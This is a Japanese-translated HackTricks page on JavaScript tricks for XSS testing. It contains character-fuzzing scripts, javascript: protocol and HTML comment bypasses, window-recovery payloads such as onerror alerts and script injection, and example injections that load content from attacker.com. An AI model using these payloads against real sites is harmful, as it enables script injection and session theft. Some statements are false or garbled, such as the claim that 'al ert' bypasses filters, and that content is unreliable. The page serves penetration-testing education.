hacktricks/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
2023-07-07 23:42:27 +00:00

26 KiB
Raw Blame History

その他のJSトリックと関連情報

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Javascript Fuzzing

有効なJSコメント文字

//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line


for (let j = 0; j < 128; j++) {
for (let k = 0; k < 128; k++) {
for (let l = 0; l < 128; l++) {
if (j == 34 || k ==34 || l ==34)
continue;
if (j == 0x0a || k ==0x0a || l ==0x0a)
continue;
if (j == 0x0d || k ==0x0d || l ==0x0d)
continue;
if (j == 0x3c || k ==0x3c || l ==0x3c)
continue;
if (
(j == 47 && k == 47)
||(k == 47 && l == 47)
)
continue;
try {
var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue
err = e.toString().split('\n')[0]
}
console.log(err,cmd);
}
}
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition.
log=[];
for(let i=0;i<=0xff;i++){
for(let j=0;j<=0xfff;j++){
try {
eval(`${String.fromCodePoint(i,j)}%$£234$`)
log.push([i,j])
}catch(e){}
}
}
console.log(log)//[35,33],[47,47]

有効なJSの改行文字

JavaScriptでは、改行文字は特定の文字列で表されます。以下は、有効なJSの改行文字の一覧です。

  • \n:改行
  • \r:復帰
  • \u2028:行区切り文字
  • \u2029:段落区切り文字

これらの改行文字は、JavaScriptの文字列内で使用することができます。

//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

for (let j = 0; j < 65536; j++) {
try {
var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue;
err = e.toString().split('\n')[0]
}
console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

関数呼び出しにおける有効なJSスペース

In some cases, when trying to bypass filters or evade detection, it may be useful to insert spaces within a function call in JavaScript. These spaces can help obfuscate the code and make it harder for security mechanisms to detect malicious behavior.

以下のような場合、フィルターをバイパスしたり検出を回避する際に、JavaScriptの関数呼び出し内にスペースを挿入することが役立つ場合があります。これらのスペースは、コードを曖昧化し、セキュリティメカニズムが悪意のある動作を検出するのを困難にするのに役立ちます。

For example, instead of writing alert('XSS'), you can use spaces to break up the function call like this: al ert('XSS'). This can help bypass filters that are specifically looking for the alert keyword.

例えば、alert('XSS')と書く代わりに、スペースを使って関数呼び出しを分割することができます。al ert('XSS')となります。これにより、特にalertキーワードを探しているフィルターをバイパスするのに役立ちます。

It's important to note that this technique may not work in all cases, as security mechanisms and filters can be designed to detect such obfuscation techniques. Therefore, it's crucial to thoroughly test and validate the effectiveness of this technique in the specific context you are working with.

このテクニックがすべての場合で機能するわけではないことに注意してください。セキュリティメカニズムやフィルターは、このような曖昧化技術を検出するように設計されている場合があります。したがって、このテクニックの効果を確実にテストし、特定のコンテキストで有効であることを検証することが重要です。

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.

// Check chars that can be put in between in func name and the ()
function x(){}

log=[];
for(let i=0;i<=0x10ffff;i++){
try {
eval(`x${String.fromCodePoint(i)}()`)
log.push(i)
}catch(e){}
}

console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279

文字列を生成するための有効な文字

The following characters can be used to generate strings:

以下の文字は、文字列を生成するために使用することができます。

  • Alphanumeric characters (A-Z, a-z, 0-9)

  • Special characters (!, @, #, $, %, ^, &, *, (, ), -, _, +, =, [, ], {, }, |, , :, ;, ", ', <, >, ,, ., ?, /)

  • Whitespace characters (space, tab, newline)

  • 英数字文字A-Z、a-z、0-9

  • 特殊文字(!、@、#、$、%、^、&、*、(、)、-、_、+、=、[、]、{、}、|、\、:、;、"、'、<、>、,、.、?、/

  • 空白文字(スペース、タブ、改行)

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.

// Check which pairs of chars can make something be a valid string
log=[];
for(let i=0;i<=0x10ffff;i++){
try {
eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
log.push(i)
}catch(e){}
}
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)

サロゲートペアBF

このテクニックはXSSにはあまり役立ちませんが、WAFの保護をバイパスするのに役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがHighサロゲートペアの最後のバイトと一致し、最後のバイトがLowサロゲートペアの最後のバイトと一致するサロゲートペアを検索します。

def unicode(findHex):
for i in range(0,0xFFFFF):
H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
h = chr(int(H[-2:],16))
L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))

詳細情報:

javascript{}: プロトコルのファジング

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
anchor.href = `javascript${String.fromCodePoint(i)}:`;
if(anchor.protocol === 'javascript:') {
log.push(i);
}
}
console.log(log)//9,10,13,58
// Note that you could BF also other possitions of the use of multiple chars

// Test one option
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)

// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>

URL Fuzzing

URL Fuzzingは、Webアプリケーションのセキュリティテスト中に使用されるテクニックです。このテクニックでは、WebアプリケーションのURLに対して異なるパラメータや値を注入して、アプリケーションの挙動をテストします。URL Fuzzingは、アプリケーションが予期しない入力に対して適切に処理されるかどうかを確認するために使用されます。

URL Fuzzingは、以下のような攻撃を特定するために使用されます。

  • パラメータの値によるアプリケーションのクラッシュ
  • パラメータの値によるアプリケーションのエラー
  • パラメータの値によるアプリケーションのセキュリティホール

URL Fuzzingは、自動化ツールを使用して行うことができます。これにより、大量の異なるパラメータや値を短時間でテストすることができます。また、URL Fuzzingは、Webアプリケーションのセキュリティテストの一環として行われることが多いです。

URL Fuzzingの目的は、アプリケーションの脆弱性を特定し、それを悪用することです。したがって、URL Fuzzingは、正当な目的でのみ使用されるべきです。

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.

// Before the protocol
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`;
if(a.hostname === 'hacktricks.xyz'){
log.push(i);
}
}
console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32

// Between the slashes
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
if(a.hostname === 'hacktricks.xyz'){
log.push(i);
}
}
console.log(log) //9,10,13,47,92

HTML Fuzzing

HTMLファジング

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.

// Fuzzing chars that can close an HTML comment

let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
if(div.querySelector('span')){
log.push(i);
}
}
console.log(log)//33,45,62

属性の分析

PortswiggerのツールHackability Inspectorは、JavaScriptオブジェクトの属性を分析するのに役立ちます。チェック:https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E

.map jsファイル

"--"代入

減算演算子--は、代入演算子でもあります。この演算子は値を受け取り、それを1減算します。値が数値でない場合、NaNに設定されます。これは、変数の内容を環境から削除するために使用できます。

関数のトリック

.callと.apply

関数の**.callメソッドは、関数を実行するために使用されます。
デフォルトで期待される
最初の引数thisの値であり、何も指定されていない場合はwindowがその値になります(strict mode**が使用されていない限り)。

function test_call(){
console.log(this.value); //baz
}
new_this={value:"hey!"}
test_call.call(new_this);

// To pass more arguments, just pass then inside .call()
function test_call() {
console.log(arguments[0]); //"arg1"
console.log(arguments[1]); //"arg2"
console.log(this); //[object Window]
}
test_call.call(null, "arg1", "arg2")

// If you use the "use strict" directive "this" will be null instead of window:
function test_call() {
"use strict";
console.log(this); //null
}
test_call.call(null)

//The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument:
function test_apply() {
console.log(arguments[0]); //"arg1"
console.log(arguments[1]); //"arg2"
console.log(this); //[object Window]
}
test_apply.apply(null, ["arg1", "arg2"])

Arrow functions

アロー関数は、1行で関数をより簡単に生成することができます理解している場合

// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};

// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;

// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }

// Arrow
let a = 4;
let b = 2;
() => a + b + 1;

したがって、以前のほとんどの関数は実際には無意味です。なぜなら、それらを保存して呼び出すための場所がないからです。例えば、plusone 関数を作成します。

// Traductional
function plusone (a){ return a + 1; }

//Arrow
plusone = a => a + 100;

バインド関数

バインド関数は、与えられたthisオブジェクトとパラメータを変更して、関数のコピーを作成することができます。

//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
console.info( this, param1, param2 );
}
fn('Hello', 'World')

//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')

//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')

{% hint style="info" %} **bindを使用することで、関数を呼び出す際に使用されるthis**オブジェクトを操作することができます。 {% endhint %}

関数コードの漏洩

関数のオブジェクトにアクセスできる場合、その関数のコードを取得することができます。

function afunc(){
return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function

場合によっては、関数に名前がない場合でも、関数のコードを内部から出力することができます。

(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")

他の関数から関数のコード(コメントも含む)を抽出するためのランダムな方法のいくつか:

(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()

サンドボックスの脱出 - windowオブジェクトの回復

Windowオブジェクトは、alertやevalなどのグローバルに定義された関数にアクセスすることができます。

{% code overflow="wrap" %}

// Some ways to access window
window.eval("alert(1)")
frames
globalThis
parent
self
top //If inside a frame, this is top most window

// Access window from document
document.defaultView.alert(1)
// Access document from a node object
node = document.createElement('div')
node.ownerDocument.defaultView.alert(1)

// There is a path property on each error event whose last element is the window
<img src onerror=event.path.pop().alert(1337)>
// In other browsers the method is
<img src onerror=event.composedPath().pop().alert(1337)>
// In case of svg, the "event" object is called "evt"
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

// Abusing Error.prepareStackTrace to get Window back
Error.prepareStackTrace=function(error, callSites){
2   callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack

// From an HTML event
// Events from HTML are executed in this context
with(document) {
with(element) {
//executed event
}
}
// Because of that with(document) it's possible to access properties of document like:
<img src onerror=defaultView.alert(1337)>
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>

{% endcode %}

値へのアクセス時のブレークポイント

Object.defineProperty(window, 'value', {
  get: function() {
    debugger;
    return this._value;
  },
  set: function(val) {
    this._value = val;
  }
});

This JavaScript code sets a breakpoint whenever the value property is accessed. It uses the Object.defineProperty() method to define a getter and setter for the value property. The getter function includes a debugger statement, which triggers a breakpoint in the browser's developer tools whenever the value property is accessed. The setter function simply assigns the value to the _value property.

このJavaScriptコードは、valueプロパティがアクセスされるたびにブレークポイントを設定します。Object.defineProperty()メソッドを使用して、valueプロパティのゲッターとセッターを定義します。ゲッター関数にはdebuggerステートメントが含まれており、valueプロパティがアクセスされるたびにブラウザの開発者ツールでブレークポイントがトリガされます。セッター関数は単に値を_valueプロパティに代入します。

// Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions
sessionStorage.getItem = localStorage.getItem  = function(prop) {
debugger;
return sessionStorage[prop];
}

localStorage.setItem = function(prop, val) {
debugger;
localStorage[prop] = val;
}
// Stop when anyone sets or gets the property "ppmap" in any object
// For example sessionStorage.ppmap
// "123".ppmap
// Useful to find where weird properties are being set or accessed
// or to find where prototype pollutions are occurring

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});
};

debugAccess(Object.prototype, 'ppmap')

テストペイロードを自動的にブラウザでアクセスする

Sometimes, when testing for Cross-Site Scripting (XSS) vulnerabilities, it can be useful to automate the process of accessing test payloads in a browser. This can help in quickly identifying if the payload triggers any XSS vulnerabilities.

XSS vulnerabilities occur when an application fails to properly sanitize user input and allows malicious scripts to be executed in a victim's browser. By automating the process of accessing test payloads, we can efficiently test for these vulnerabilities.

To automate browser access to test payloads, we can use various techniques:

1. JavaScript window.open()

We can use the JavaScript window.open() function to automatically open a new browser window or tab and load the test payload. This can be done by injecting the following code into the vulnerable input field:

javascript:window.open('http://attacker.com/payload');

Replace http://attacker.com/payload with the URL of your test payload.

2. Image Source (<img src="">)

Another technique is to use the <img> tag with the src attribute set to the test payload URL. This will cause the browser to automatically load the image, triggering the execution of the payload. Inject the following code into the vulnerable input field:

<img src="http://attacker.com/payload">

Replace http://attacker.com/payload with the URL of your test payload.

3. Iframe (<iframe src="">)

Similarly, we can use the <iframe> tag with the src attribute set to the test payload URL. This will load the payload in an embedded frame within the page. Inject the following code into the vulnerable input field:

<iframe src="http://attacker.com/payload"></iframe>

Replace http://attacker.com/payload with the URL of your test payload.

By automating browser access to test payloads, we can quickly identify if the application is vulnerable to XSS attacks. Remember to always perform these tests responsibly and with proper authorization.

//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");

const realPasswordLength = 3000;
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
//Loop to iterate through different values
for (let i = 0; i < 10000; i += 100) {
console.log(`Run number ${i}`);
const input = `${"0".repeat(i)}${realPasswordLength}`;
console.log(`  https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`);
//Go to the page
await page.goto(
`https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`
);
//Call function "generate()" inside the page
await page.evaluate("generate()");
//Get node inner text from an HTML element
const passwordContent = await page.$$eval(
".alert .page-content",
(node) => node[0].innerText
);
//Transform the content and print it in console
const plainPassword = passwordContent.replace("Your password is: ", "");
if (plainPassword.length != realPasswordLength) {
console.log(i, plainPassword.length, plainPassword);
}

await sleep(1000);
}
await browser.close();
})();
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥